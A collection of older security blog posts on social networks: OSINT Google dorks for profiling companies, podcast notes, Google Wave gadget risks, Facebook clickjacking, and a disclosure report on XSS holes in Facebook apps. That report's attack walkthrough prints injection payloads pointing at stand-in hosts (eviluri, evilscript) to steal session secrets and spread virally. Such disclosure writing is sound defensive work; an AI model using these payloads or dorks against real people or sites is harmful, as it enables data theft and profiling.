Enterprise Open Source Intelligence Gathering – Part 1 Social Networks

masked_gather_smUPDATE: You can now download my slide deck from SlideShare.

Next week I will be speaking at the 7th Annual Ohio Information Security Summit on “Enterprise Open Source Intelligence Gathering”.  Here is the talk abstract:

What does the Internet say about your company?  Do you know what is being posted by your employees, customers, or your competition?  We all know information or intelligence gathering is one of the most important phases of a penetration test.  However, gathering information and intelligence about your own company is even more valuable and can help an organization proactively determine the information that may damage your brand, reputation and help mitigate leakage of confidential information.

This presentation will cover what the risks are to an organization regarding publicly available open source intelligence.  How can your enterprise put an open source intelligence gathering program in place without additional resources or money.  What free tools are available for gathering intelligence including how to find your company information on social networks and how metadata can expose potential vulnerabilities about your company and applications.  Next, we will explore how to get information you may not want posted about your company removed and how sensitive metadata information you may not be aware of can be removed or limited.   Finally, we will discuss how to build a Internet posting policy for your company and why this is more important then ever.

Leading up to my talk at the summit this series of posts will focus on several of the main topics of my presentation.  I plan on referencing these posts during the presentation so attendees can find out more information about a specific topic that will be discussed.  I will touch on the following main points in this series: Part 1 – Gathering intelligence on social networks, Part 2 – Gathering intelligence from blogs/message boards/document repositories, Part 3 – Putting together a simple monitoring program/toolkit and creating a Internet postings (social media) policy for your company.

This first post in the series will focus on gathering intelligence on social networks.  The topic of gathering intelligence from social networks will be looked at in two ways.  First, through the eyes of the penetration tester or attacker.  Second, from a monitoring perspective relative to the enterprise and business.

What is OSINT?
Open Source Intelligence (OSINT) is basically finding publicly available information, analyzing it and then using this information for something.  That something can be extremely valuable from the eyes of an attacker.  For a fantastic overview of how OSINT is used specifically from a penetration testing perspective I suggest you check out the presentation that Chris Gates recently did at BruCON.  Chris goes into detail and provides good examples on how OSINT can be used in gathering intelligence on a network infrastructure as well as how to profile company employees.  All of the techniques Chris talks about should be used in a penetration testing methodology.

Why look for OSINT about your company?
I have found that OSINT is surprisingly often overlooked by most businesses from a security monitoring perspective.  If a company does any monitoring of public information at all it is usually found in your public relations and/or marketing groups.  These groups traditionally don’t look for things that could be used to target or profile an organization.  The same information that is being viewed by your PR/Marketing department needs to be looked at by your in house information security professionals.  Specifically, I suggest people in your information security department with an “attacker mindset” look at this OSINT.  This could be people on an internal penetration testing team or someone involved with the security assessments in your organization.  You should really ask yourself: If you don’t know what information is publicly available about your company…how can you properly defend yourself from attack?

OSINT and Social Networks
Social networks have recently become the 4th most popular method for online communication (even ahead of email) today.  If you are not looking for OSINT on social networks you are potentially missing major and vital pieces of information.  Having said that, searching for OSINT on social networks brings its own challenges and needs to be looked at slightly different then looking at other forms of OSINT.  For example, you might find that searching for information on social networks like Facebook different because there is both private and public information.  Facebook as an example has a built in search feature “behind” a valid login id and password.  Searching Facebook in this manner can yield better results then just going to Google or using a specific social network search engine (I’ll talk more about Facebook below).

1. Social Network Search Engines
There are lots of different search engines that specifically look for “public” information on some of the major social networks.  The disadvantage about these types of search engines is that they only pull public information that can be easily indexed.  Private information like the Facebook example above cannot be indexed without violating the TOS (Terms of Service) even though there are tools like Maltego that can have transforms written to “page scrape” this information (more on that in the Maltego section below). Here is a list of social network search engines that I recommend you check out to search for this type of public information (there are more…this is just the list I use).  While there are other ways to search specific social networks (like search.twitter.com or FriendFeed) the list below just mentions search engines that search multiple networks:

Wink http://wink.com/
http://spock.com (has a search for “private” profile info but is a pay service…haven’t checked that feature out)
Social Mention
http://www.whostalkin.com/ (this is one of my favorites! Lots of socnets included!)
Kosmix http://www.kosmix.com/
YackTrack http://www.yacktrack.com
http://twoogel.com/ (Google/Twitter search combined)
KnowEm Username Check
Firefox Super Search Add-On https://addons.mozilla.org/en-US/firefox/addon/13308 (over 160 search engines built in)

Don’t forget about photo/video social networks and social bookmarking sites:

Pixsy http://www.pixsy.com/
Flickr Photo Search http://www.flickr.com/search/?s=rec&w=all&q=”comapny name”&m=text
YouTube/Google Video Search http://video.google.com/videosearch?q=”company name”
Junoba Social Bookmark Search http://www.junoba.com/ (Digg, Delicious, Reddit, etc..)

Pay Services (might be worth checking out):

Filtrbox http://www.filtrbox.com/
Vocus http://www.vocus.com/

2. Maltego
Maltego goes without saying…it’s probably the best tool to “visually” show you information found on some of the social networks and the relationships that information has connected to it.  I have found that Maltego works well for Twitter, Facebook, LinkedIn and MySpace profiles (publicly available).  The Twitter transforms are probably the highlight since you can dig into conversations as well.  There is also a Facebook transform that was specifically written to search within the Facebook network using a real user account.  However, this transform doesn’t work anymore due to recent structural changes to the way Facebook HTML was coded.  Note that this transform violates Facebook TOS since it did screen scraping but when it did work it was a great way to search status and group updates not available to public search engines!  If anyone wants to help get this transform working again there is a thread on the Maltego forum about it.

Lastly, if you want more information on Maltego and how to use it I suggest checking out the work Chris Gates has done in his Maltego tutorials here and here to learn more.  Keep in mind.  Maltego works great for finding information if you need it for a specific scope, like a pentest.  Maltego even works great if you need to dig a little deeper into something you find on a social network.  In terms of automating a monitoring process, I suggest using Google dorks, Yahoo Pipes!, and other techniques which we will talk about here and in future posts.

3. Google Dorks (Facebook, MySpace, LinkedIn)
While you can just simply type in your company name into Google and see what comes up…It’s way easier to use a little Google dork action to search for information on specific social networks.  As I stated before, this will only pull publicly available information but you might be surprised what you find about your company just in these searches!  Simply paste these into the Google search bar/window.  Note: change “bank of america” to whatever you like…not picking on bofa but there is a ton of information about them on social networks! :-)

Facebook Dorks
Group Search: site:facebook.com inurl:group (bofa | “bank of america”)
Group Wall Posts Search: site:facebook.com inurl:wall (bofa | “bank of america”)
Pages Search: site:facebook.com inurl:pages (bofa | “bank of america”)
Public Profiles: allinurl: people “John Doe” site:facebook.com

*To search personal profile status updates (unless they were made public wall posts via pages or groups) you need to be logged into Facebook and use the internal Facebook search engine.  Setting your status updates privacy settings to “Everyone” is actually everyone in Facebook.  Rumor has it that next year “Everyone” will mean everyone on the Internet! FTW!

MySpace Dorks
Profiles: site:myspace.com inurl:profile (bofa | “bank of america”)
Blogs: site:myspace.com inurl:blogs (bofa | “bank of america”)
Videos: site:myspace.com inurl:vids (bofa | “bank of america”)
Jobs: site:myspace.com inurl:jobs (bofa | “bank of america”)

LinkedIn Dorks
Public Profiles: site:linkedin.com inurl:pub (bofa | “bank of america”)
Updated Profiles: site:linkedin.com inurl:updates (bofa | “bank of america”)
Company Profiles: site:linkedin.com inurl:companies (bofa | “bank of america”)

While these are Google dorks from the top three social networks (Twitter actually has a really good search engine, search.twitter.com, which I don’t think needs explaining), you can easily modify these for your own use and even include more advanced search operators to include or exclude additional queries.  The point of using Google dorks is to make it easier to quickly search for information on social networks without going to each site individually.  Still, with most social networks if you want to find private information you either need to login as a user or use some social engineering get the information you want. :-)

What’s next?
In part three of this series I will talk about how to use Google dorks and various search queries for monitoring purposes.  Once you have the dorks you want to query, it’s trivial to plug these into Google Alerts to create RSS feeds.  Take your feeds and plug them into your favorite RSS reader and you have a simple monitoring tool.  More on this in part 3 including a section on aggregating this type of into and customizing it via Yahoo! Pipes which I like to think as the preferred and most customizable method for monitoring social networks.

Next up…in part 2 I will talk about how to find company information on blogs, message boards and document repositories.  Oh, and sprinkle a little bit of metadata into the mix as well. :-)

Share and Enjoy

FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS

Social Media Security Podcast 3 – Phishing and Koobface, What is CSRF, Protected Tweets

skullThis is the third episode of the Social Media Security Podcast recorded October 23, 2009.  This episode was hosted by Scott Wright, Tom Eston and Kevin Johnson.  Below are the show notes, links to articles and news mentioned in the podcast:

  • Tom and Scott talk about phishing on social networks. How can you tell the difference between a fake friend request and a real one? Here is a screen shot of a fake friend request and a real friend request.  Just by looking at the email…it’s really hard to tell the difference isn’t it?  The only way you can tell the difference is to look at the URL the link is going to by looking at the message source (code and/or mail header info).  We advise you check your Facebook Inbox for legitimate friend requests, don’t click on friend request links in email.
  • Tom gives a primer on Koobface. What is the Koobface worm and how does it spread?  If you want to learn more about Koobface check out this very good paper created by TrendMicro on how Koobface works.
  • Kevin gives a great non-technical overview of CSRF (Cross-site request forgery).  Want to see a real CSRF attack demonstrating stealing private Facebook profile information? Check out this video and blog post.  Here is the great talk by Jeremiah Grossman about exploiting business logic flaws that Tom mentioned.
  • Interested to know more about CSRF? Check out Security Now! Episode 166.
  • Are your protected tweets able to be searched by Google?  Tom clarifies that this article was not true at all.  However, there are some important things you need to know about protected tweets and why making your Twitter account private doesn’t buy you much.
  • Due to popular demand we are going to try recording the podcast bi-weekly!
  • Be sure to follow us on Twitter to stay up-to-date on all the latest news in the world of social media security!

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast now in iTunes! Thanks for listening!

Have You Seen the New Facebook Gadget for Google Wave?


The above screenshot shows an actual gadget inside a Wave that I created to demonstrate it. Imagine the possibilities of connecting Facebook with Google Wave. You could post information to your Facebook profile right from within Wave, or connect wave participants to Facebook profiles. If you came across this gadget in a wave you were viewing, wouldn’t you love to at least try it out?

There’s just one problem. The above gadget is fake. Not the screenshot, mind you – if you’re a Google Wave user, you can see the gadget in action by inserting the gadget http://theharmonyguy.com/facebook.xml into a wave. But nothing will happen when you try to connect.

And in this case, truly nothing will happen, since I’ve designed the gadget to be harmless – your login information is not sent anywhere. But I imagine many users would fall prey to such a trick, which could be easily adapted for phishing attacks. Ask yourself honestly, would you have tried to login? More importantly, if you came across such a gadget in a wave, how would you know whether it came from theharmonyguy.com, facebook.com, or a malicious host?

I post all this to raise a broader point than simply “beware of phishing attacks.” I realize that the balance between security and usability is a constant struggle for developers, or at least should be. Yet I’m somewhat concerned by the patterns we are training users to be accustomed to.

Case in point: chromeless gadgets within a wave that provide no indication of source. In some ways I almost feel that Google Wave is recreating the web browser. Browsers are applications that can load any sort of web page. Google Wave is an application that can load all sorts of web pages within waves. Yet many of the features developed for browsers to warn a user of insecure sites or phishing attacks (even as basic as the address bar, which shows the current domain) are not replicated when a user loads a gadget in Wave. Many have described Wave as a reinvention of e-mail. Reinventing a technology can be very beneficial, but let’s not forget lessons learned in the old technology – there’s a reason most e-mail clients don’t allow iframes and JavaScript, for instance.

I’m certainly not the first to raise these concerns; others have previously mentioned the danger of login forms on iGoogle gadgets. Nor am I saying that I don’t want Google Wave to succeed. But if we’re going to reinvent a technology, let’s address some of these basic issues of user expectations and security precautions from the start.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

First Impressions on Security in Google Wave

Nearly two years ago, many technology sites brimmed with hype over a new Google technology called OpenSocial. Bloggers questioned if OpenSocial would spell the end of Facebook. Amid all the discussion, I felt that many people were ignoring several serious issues regarding how OpenSocial would handle user data, privacy, and security. A few people brought up questions on this topic, but until an actual implementation hit the market, no one seemed completely sure how OpenSocial would work in practice.

When I heard that Plaxo had brought an OpenSocial framework online, I decided to check out its security for myself. That led to the first hack of an OpenSocial application, and my white-hat hacking hobby began. Admittedly, the “hack” came from poor coding practices on RockYou’s part, but highlighted the need for better authentication in OpenSocial, a problem corrected in later revisions. Still, the event was an inspiration, and led me to continue investigating my previous hacks of Facebook applications, which led to the more serious issues in this year’s FAXX hacks.

Memories of two years ago came back to mind yesterday when I received a Google Wave invite from a friend. Wave has received its share of hype, despite not being publicly available, though lately it’s drawn increasing criticism. Yet I’ve not seen many people explore the security or privacy implications of using the new platform. I decided to take advantage of the invite and start hacking Wave.

What I find was rather surprising, though not entirely unexpected. I’ve noticed several issues with the current version that could be exploited or create more serious problems in the future. Some will argue that bugs should be expected in early versions of a new product, and that future upgrades will improve the situation.  However, I would contend that some of the points raised here deal with basic aspects that should have been addressed from the very beginning. I would also add that I think Google overlooked an opportunity to add more social networking components to their system that could allow them to offer a stronger alternative to Facebook.

Anyway, here are a few of the problems with Google Wave I’ve noticed so far that I’ve not seen on several other lists of Wave criticisms:

  • Allowing iframes in waves. Creating a gadget that loads an iframe is a fairly trivial task. The iframe loads within a container iframe that separates it from the DOM for Wave itself. Still, one can load just about any page using such an iframe. This means that any attack requiring a user to load an infected page, such as my original demonstration of a FAXX hack, can be automated, since viewing the wave loads the iframe page. This can also be easily adapted to make POST requests for CSRF attacks.
  • Allowing invisible iframes in waves. Not only can a gadget include an iframe, it can style that iframe to be invisible, either hiding the attack from wave participants or to create a clickjacking attack within the gadget. Basically, while gadgets load in container iframes, they otherwise have free reign to include any HTML a coder desires. Note that allowing iframes could potentially let an attacker include code for finding browser exploits, which can then allow for malware delivery or even taking over a user’s system.
  • Allowing scripts in waves. Once again, the scripts execute in a container iframe, so one cannot simply wreak havoc with the main application DOM. But scripts do open up several possibilities. In fact, I’ve already created a wave that forwards users to a particular page as soon as they view the wave, since the script is loaded automatically when someone views the wave.
  • Allowing dynamic changes to gadgets. Google may argue that this problem is actually a feature. Essentially, a gadget is loaded dynamically from its source every time a wave is loaded. That means someone could insert an innocent-looking gadget into a wave, then the gadget owner could switch the gadget for a malicious one later on. In fact, since gadgets can be hosted anywhere, an included gadget could even be taken offline, taking away from one of Wave’s selling points (better preserving a record of communications).
  • Allowing gadget access to participant information. Currently, a gadget can only access basic identifying information about who participates in a wave and who is viewing the wave when the gadget loads. However, one can already note several indications that Google will likely expand this functionality to resemble a more complete OpenSocial implementation. As with Facebook applications, allowing such unfettered access for any gadget on initialization raises a number of concerns.
  • Not allowing users to be removed from a wave. I realize that since waves are shared among participants, removing users raises questions of who in the wave is authorized to make such decisions. Still, I find it a glaring oversight that the product includes no mechanism for removing a user whatsoever, especially considering that anyone can join a public wave.
  • Allowing users to add anyone to a wave without approval. If I know the Google account you use for Wave, I can add you as a contact and add you to a wave, which will then appear in your inbox. This all happens without any action on your part. And if I include a malicious gadget, you will load that gadget as soon as you click on the new wave to find out what it’s about.

Once again, many will argue that Google will eventually address these problems, and I certainly hope they do. But I find such oversights of basic security issues rather disconcerting. And while sites such as iGoogle have included “gadgets” with scripts for some time, Wave adds a new dimension in that such gadgets can be loaded with hardly any user interaction or approval.

One possible solution that people will raise is that Google can shut down accounts of known attackers or spammers, ensuring that each Wave user corresponds to a real person who will abide by certain rules, as Facebook has sought to do. But doesn’t this turn Google Wave into exactly the same kind of closed garden which Facebook’s critics have lambasted so often? Yet if Google is not the gatekeeper and opens up the system to users with Google accounts, what has Wave done to address spam and malicious attacks? In fact, as expounded above, if Wave is open to anyone, it provides a powerful new means for delivering malware and exploiting vulnerable users.

Again, I realize that Wave will probably include more privacy controls, such as who can add you to a wave without your permission. But if Google is not building such controls into the product to start with, how effective will they be when they do finally appear?

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

The Dangers of Clickjacking with Facebook

Clickjacking is an admittedly difficult problem to solve entirely, though I question why invisible iframes are necessary. Still, a few techniques to combat the attack exist, such as frame-busting scripts. Twitter implemented this approach after a proof-of-concept attack circulated earlier this year, at the time, several researchers speculated on the ramifications for other sites, such as Facebook.

I’ve noted previously that authorizing a Facebook application requires only a single click, even if you’ve exempted your profile from the Facebook Platform. After noticing another possible clickjacking attack vector, I began compiling a list of single-click actions that should give any Facebook user pause. All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:

  • Authorize a malicious application. This can happen regardless of any privacy settings. On authorization, an application can immediately access your profile information, your photos, your posted links, your notes, your status updates, etc. It can also send notifications to your profile, send notifications to other people (anonymously or from you), and post feed stories to your wall, all with links included. Note that under default privacy settings, an application can access most of your data if a friend of yours falls prey to this type of attack.
  • Authorize a legitimate application with a cross-site scripting exploit. Most applications vulnerable to such an attack allow for clickjacking installs, where a single click authorizes the application and then forwards a user to an infected application page. That landing page can then execute any of the actions listed above for a malicious application. Note that if a friend falls for this attack and you have authorized the application, all of your data is vulnerable as well.
  • Post a link to your profile. This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.
  • Publish a feed story from a malicious application. Note that this can work regardless of whether you have authorized the application. Applications may publish feed stories prior without authorization by a single click, though this does not grant them access to a user’s data. The feed story may include images, descriptive text, and links. The application can also pre-populate the user’s comments on the story, which would then be submitted upon execution of the clickjacking attack.
  • Send a message to another user. The recipient, subject, and message content, including links, can all be pre-populated. This no longer gives the recipient more access to data than usual, but could still be easily used to spread malware.
  • Send a friend request to another user. This means that a victim could unknowingly send a friend request to a malicious attacker’s profile, and the attacker would simply need to approve the request to gain access to everything on a user’s profile that their friends can access by default.
  • Harvest a user’s post_form_id. Those familiar with Facebook’s code will realize how serious this issue is. However, exploiting a post_form_id also requires knowing a user’s Facebook ID, and so far this attack does not provide the latter.

This list is not simply theoretical – I did some simple testing to make sure that each of these attacks worked. I also would not pretend that my list is exhaustive, and I would welcome any additions from other researchers.

Most of these are already known or fairly trivial to figure out. I am not aware of anyone reporting my method for the last attack, however, and I will be reporting the details of it to Facebook, as I believe it involves a code issue that can be patched apart from any clickjacking protection. Update: Facebook pushed a fix last night which I’ve confirmed. The hole came from a dialog page that one could load via a POST request. Outside its normal context, clicking the submit button on the page would forward a user back to the referring page but with the post_form_id appended.

I hope this list will help raise awareness of the potential dangers of clickjacking. Creating a Facebook version of Twitter’s “don’t click” worm would be fairly simple, and as this list indicates, one could do far more than simply post a link in the process.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

The Month of Facebook Bugs Report


The Month of Facebook Bugs, or FAXX Hacks, is a series of reports on vulnerabilities in Facebook applications. The series was a volunteer research project coordinated by an anonymous blogger known as theharmonyguy. All of the vulnerabilities were reported to Facebook and/or relevant application developers prior to their publication.

While one could take several approaches in enumerating “Facebook bugs,” this particular series focused on cross-site scripting holes in Facebook applications. The name FAXX refers to Facebook Application XSS+XSRF, as nearly any XSS vulnerability in a Facebook application allows a sort of cross-site request forgery in that one can use application credentials to make requests to the Facebook API. This is demonstrated in code examples below.

The series helps to quantify the sore lack of application security on the Facebook Platform, a fact perhaps well-known to those in the security community, but not to many others. Furthermore, anecdotal evidence suggests many Facebook users fail to understand distinctions between Facebook and third-party applications, much less the implications of issues with the current Facebook Platform, such as the level of access to user data brought by authorizing an application. Cross-site scripting vulnerabilities are significant on any web site, but when combined with a user’s trust in Facebook and access to the Facebook API, they become even more dangerous.

Summary of Findings

  • Many Facebook applications, even widely used ones or seemingly trustworthy ones, lack basic security precautions.
  • Specifically, cross-site scripting vulnerabilities were found in a wide range of Facebook applications.
  • Each such vulnerability can be exploited to execute malicious JavaScript, such as malware delivery.
  • In addition, such holes allow an attacker to access profile information, including personal details, status updates, and photos, of a victimized user and their friends.
  • Moreover, these vulnerabilities can be used to send notifications or post feed stories, allowing for viral distribution.
  • While each application hole affects users who have already authorized the application, clickjacking can often target users who have not.
  • The series focused on vulnerabilities in legitimate applications, but rogue applications, which could easily exploit clickjacking, have also been noted by others.
  • All of the vulnerabilities reported in the series have been patched, but attacks that exploit application holes remain possible.
  • Preventing future problems due to application vulnerabilities requires action from both application developers and Facebook.


  • The series demonstrated vulnerabilities affecting over 9,700 Facebook applications.
  • Over half of the vulnerabilities affected applications that had passed the Facebook Verified Application program.
  • Six of the hacked applications ranked among the top ten by monthly active users at publication.
  • The published monthly active user counts for hacked applications total to more than 218 million.
  • While the previous figure includes overlaps, each vulnerability affected any user who had authorized the application, whether currently active or not.
  • Nearly two-thirds of the vulnerabilities in the first half of the series allowed for clickjacking attacks that would affect any Facebook user. (Applications in the second half of the series were not checked for clickjacking due simply to time constraints.)
  • Vulnerabilities in popular applications that allow for clickjacking mean nearly any Facebook user could fall prey to a FAXX hack.
  • Seven of the current top ten application developers by combined monthly active users had at least one vulnerable application.
  • Nine of the developers contacted took over a week to build a patch for an application vulnerability.


Many application developers were very responsive, expressed that application security was a priority, and appreciated notification of the vulnerabilities. I certainly recognize that it’s much easier to point out holes in someone else’s work than to spend the effort required to build a large-scale application. I applaud the efforts of hard-working developers who understand the seriousness of these problems and who take application security seriously.

That said, several developers took a while to respond to either me or Facebook. One vulnerability was not patched until more than two weeks after first being reported. I realize that patches take time, but this particular hole should have been a fairly simple fix.

I was also a bit disappointed by some of Facebook’s responses. Don’t get me wrong—I’m very grateful for the security contact who got in touch with me early on. He patiently fielded dozens of e-mails about application issues, and I thank him greatly for his efforts. But as I sent reports of discovered holes to Facebook, the Platform Policy Team would then notify the developer. (I also made a point of looking for e-mail addresses for developers, and always contacted them directly if I found any addresses.) On two occasions, I received a copy of the message that Facebook sent the developer. Here is the body of one of them:

To the developer of application ID#XXXXXXXX,

We’re writing to inform you that your application, [Application Name], has been reported to contain a cross-site scripting vulnerability. Specifically, the [URI parameter] parameter of the [page name] page can accept FBML or HTML that can load in other pages via an iframe.

Please contact theharmonyguy@gmail.com for more information, and let us know when this issue has been resolved.

Thank you in advance,


Platform Policy Team


As you can imagine, several developers who contacted me thought I was associated with Facebook. I would also note that the information I sent to Facebook included an example URI demonstrating the hole. After seeing the above e-mail, I mentioned the terseness of it to my security contact and requested Facebook communicate more with affected developers. I didn’t see any of the reports later in the month, but hopefully they were more helpful.

Lessons for Developers

  • Sanitize all inputs. That includes every bit of data processed by the application, whether loaded from a Facebook user’s profile, loaded from a database, submitted with a form, or received from the query string of an address. Never assume that a given parameter will be clean or of the expected type.
  • Sanitize all outputs. When displaying a notice or error message, load predetermined strings instead of using dynamic inputs. Never reuse the address of a page without fitering it for injection attempts. Filter any information you output to an application page or via an AJAX interface.
  • Avoid user-generated HTML. Generally, users should never be allowed to input HTML, FBML, or other rich-text formats. When allowing rich-text data, use pre-built, tested code for processing and displaying it, rathering than trying to create your own filters.
  • Check every page. Many vulnerabilities appear in secondary pages, such as ad loaders or AJAX interfaces. Verify security precautions in every part of the application. If possible, consider storing secondary files in a folder other than that of the application’s canvas pages.
  • Verify Facebook sessions. Never rely on a cookie, a query string, or data generated within the application to verify the current user. Facebook provides applications with session information they can always check before making requests or loading information.
  • Use server whitelisting. If your application does not use AJAX or does not otherwise make requests using the Facebook JavaScript API, take advantage of the server whitelist feature in the application properties and only allow requests from your server.
  • Understand third-party code. Take the time to examine any code given to you by other developers, such as JavaScript tools or advertising network receiver files, before including them in your application. In particular, third-party code that arnesses a user’s session secret violates rules given by Facebook.
  • Don’t simply obfuscate. Never rely on JavaScript obfuscation or compression to hide vulnerabilities in application pages. Such techniques may slow down an attacker for a short while, but they can always be worked around or reversed.
  • Educate your users. Avoid incorporating design patterns that train users to accept bad practices, such as entering third-party passwords. Communicate clearly your policies on privacy, data retention, and information security.

Lessons for Facebook

  • Stop the charade. Nearly all instances of user information and content are essentially public. Many users have an understanding of privacy and control not reflected by the findings of this series and others. Either take necessary action to address these issues, or drop illusory privacy controls.
  • Talk to developers. Several resources exist for helping developers get started on the Platform, but Facebook has published much less content reminding developers of security precautions. If you associate your brand with third-party code, you have a reponsibility to help ensure the safety of that code.
  • Truly verify applications. The current Verified Applications program apparently does not address basic security flaws. Also, while opening the floodgates to any application has benefits, it also poses serious risks that may justify putting a few limits or checks in place.
  • Limit application access. While it’s encouraging to hear that Facebook will be adding granular access controls in response to the Canadian Privacy Commissioner, it’s disheartening that such steps took so long and are still nearly a year off from full implementation.
  • Take clickjacking seriously. This series has only begun to demonstrate the implications of clickjacking. Single-click authorization of applications, even when one exempts from the Platform, only adds to the danger of clickjacking on Facebook pages.
  • Improve request verification. The Facebook JavaScript API may provide much useful functionality, but it also opens the door to simple API requests with merely a session secret. Other means exist for ensuring that requests come legitimately from an application instead of an attacker.
  • Distinguish your brand. With the current Facebook Platform, any vulnerability in a third-party application becomes a vulnerability for Facebook. Either users should be able to trust applications to the same degree as Facebook, or Facebook should more clearly distinguish third-party content.
  • Educate your users. People click applications without a second thought to the risks of rogue applications or possible security problems. Users may seek to share personal information with friends, but fail to realize how that information is used by third-party code.

Anatomy of an Attack

I now present a more detailed explanation of how FAXX hacks allow for viral attacks and stealing user information, along with code samples.

Suppose the imaginary Facebook application “Faceplant” includes a parameter “ref” on its home page, i.e. http://apps.facebook.com/faceplant/?ref=install. Further suppose that one of the links within the home page’s code appended the given ref parameter to the “href” attribute, i.e. <a href=”http://apps.facebook.com/faceplant/play?ref=install”>. Finally, suppose the application did not filter the “ref” parameter at all, e.g. the PHP code echo ‘<a href=”http://apps.facebook.com/faceplant/play?ref=’.$ref.’”>’;.

As you can probably see, the “ref” parameter introduces a cross-site scripting hole. For instance, loading the page http://apps.facebook.com/faceplant/?ref=”><img> would render an image element when the page loads. Assuming Faceplant is an FBML application, one could load a URI similar to http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=http://eviluri/> to render a given iframe within the page. (Note that these URIs would need further encoding to actually function properly.) Since the source attribute for the iframe is arbitrary, one could load a page that executes malicious scripts, such as malware delivery or browser exploitation.

So far, we’ve simply described a standard XSS hole. But in a Facebook application, adding an fb:iframe does not simply load a standard iframe. The URI of the iframe page is appended with a series of session parameters, such as the current user’s Facebook ID and the current application’s API key. To make a request to the Facebook API, however, requires the session secret, or the fb_sig_ss parameter. But this parameter is only added to an iframe if the URI originates from the same path as the application itself. Thus in the example above, http://eviluri/ would not have access to the session secret.

In a non-FBML application, one can simply insert JavaScript which checks the page’s parameters, since the application canvas page will have the session secret. For an FBML application, things get a bit trickier – inserted JavaScript gets filtered as FBJS and may not allow for a reliable attack. However, buried in the source code of every FBML application page on apps.facebook.com is the JavaScript variable “source_url,” which gives the direct URI of the application that Facebook loads the FBML from. Accessing this URI directly with valid session parameters appended will load the FBML source into your web browser. While a browser won’t understand all the FBML, it will still load HTML elements as HTML – including script elements.

This brings what I refer to as a double-injection trick. If you find an XSS hole in a page on apps.facebook.com, you’ve actually found an XSS hole in the original FBML page that Facebook loads. Thus you can apply the same XSS hole to the original page. The trick works like this: use the XSS hole in the apps.facebook.com URI to insert an fb:iframe that references the original page’s URI. Since this page is hosted on the same path as the application, it will receive the session secret. For example, http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=http://faceplantapp/index.php>. Now, use the XSS hole a second time by setting the URI of the inserted fb:iframe to insert JavaScript into the direct application page, that is, http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=’http://faceplantapp/index.php?ref=”><script src=http://evilscript/>’>. (Once again, this would have to be encoded properly, but I leave these examples unencoded to make the process more readily clear.) The JavaScript can simply check the URI of the page that loads it to access the session secret.

But even this method does not always work. If the direct application page includes script before the inserted code, it may fail to execute in the absence of Facebook’s processing, and thus the inserted code will not load. We can thus use another trick to get the session secret. Instead of inserting JavaScript directly, insert yet another iframe, as in http://apps.facebook.com/faceplant/?ref=”><fb:iframe src=’http://faceplantapp/index.php?ref=”><iframe src=http://eviluri/>’>. Now note that this second iframe is loaded by the application page, which has received the session secret from the fb:iframe. Hence, the referrer for the second iframe will include the session secret. The page at http://eviluri/ can simply load JavaScript that checks the referrer and grabs the session secret. This code can then make any Facebook API request that the application itself is authorized to make under a user’s session.

For more details on how this would work, download viraluri.txt and eviluri.txt. These are two text files with HTML source code for two files to be used in an attack on Flixster (Movies), utilizing the hole previously reported in that application (and now fixed). The first file uses clickjacking and an invisible iframe to load an apps.facebook.com URI which inserts http://eviluri/ as above. The second file represents the code that one would host at http://eviluri/ to then steal user information, post a link to http://viraluri/ (the address at which the first file would be hosted) on the user’s profile, and send a notification to a given user with a link to http://viraluri/ as well. Finally, the code forwards the user to http://innocenturi/ to avoid any suspicion.

Wrapping Up

I could say so much more about this series and all it involved, but I feel the need to bring this report to a close. I may post additional observations later on. I also want to add that I do not want to come across too harshly towards application developers or Facebook – I recognize steps they have taken to help and protect users in many ways. I can attest from experience that Facebook generally produces very secure code, for instance. But at the same time, I still see much more that could be done, especially considering the wide range of personal information that users share on Facebook compared to other sites.

Regardless, this series provides quantifiable demonstrations of the state of application security on the Facebook Platform, and the results are far from encouraging. I hope it will spark further dialogue about Facebook applications and social networking security in general.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Even More Facebook Bugs

Facebook allows applications to request “extended permissions” – the ability to perform actions not normally allowed for applications, such as updating a user’s status or adding photos to their profile. In the past, these were limited and not used all that often, but more recently several applications have been adding novel uses that require extended permissions.

Once I finished up with the Month of Facebook Bugs project (the full report is coming along and should be posted today or tomorrow), one item on my to-do list was checking how granting extended permissions worked in practice. I’ve noticed cases before where an application would request one extended permission and be granted several.

But this morning, I noticed a friend’s status was a message about taking a quiz (an application built using Quiztacular), along with a link. Since this wasn’t the usual feed story, I checked out the application myself, and sure enough it updated my status – without ever requesting extended permissions.

Further investigation revealed that it had been granted the following extended permissions anyway: Status Update, Add Photos, Add Videos, Create Notes, Share, Stories, and Publish to Streams. I then tried installing several other new applications, and each time I authorized one, it would then automatically appear under each of these seven extended permissions. (You can check which applications have extended permissions here.)

I first noticed this issue a little over an hour ago, and sent an e-mail to my contact at Facebook after confirming the issue. I just did another check and the bug is still present.

While investigating that bug this morning, I also came across another surprising aspect of the Facebook Platform. I visited one application page that did not require authorization when first loaded. (Note that this is not unusual – if an application page does not request any user information, it can load as if it were a normal web page.) The page then brought up a typical Facebook pop-up requesting to post a story on my wall about the reward I’d been granted. Intrigued, I clicked “Publish,” and was then forwarded to a page requesting I authorize the application so I could use my reward in actual gameplay.

I checked my profile before authorizing the application, and to my shock, the feed story sat at the top of my wall, complete with pictures and links. At first this may not appear to be a problem, as the application did not gain access to any of my information and I had to give my approval to post the story. But those familiar with previous posts on this blog will recognize the danger of clickjacking. One could easily build a rogue application page that requests a feed story, load it in an invisible iframe, and with one click users would publish a story that could easily include malicious links.

I trust that Facebook will patch the extended permissions bug (which brings back memories of #Twitbook) quickly, and I would hope that they would address the serious danger of the story publishing setup. But I’m not holding my breath on the latter, given Facebook’s track record with this sort of issue. (And on that note, why did the blogosphere take Twitter to task over clickjacking, but has yet to notice Facebook’s complete lack of clickjacking protection?)

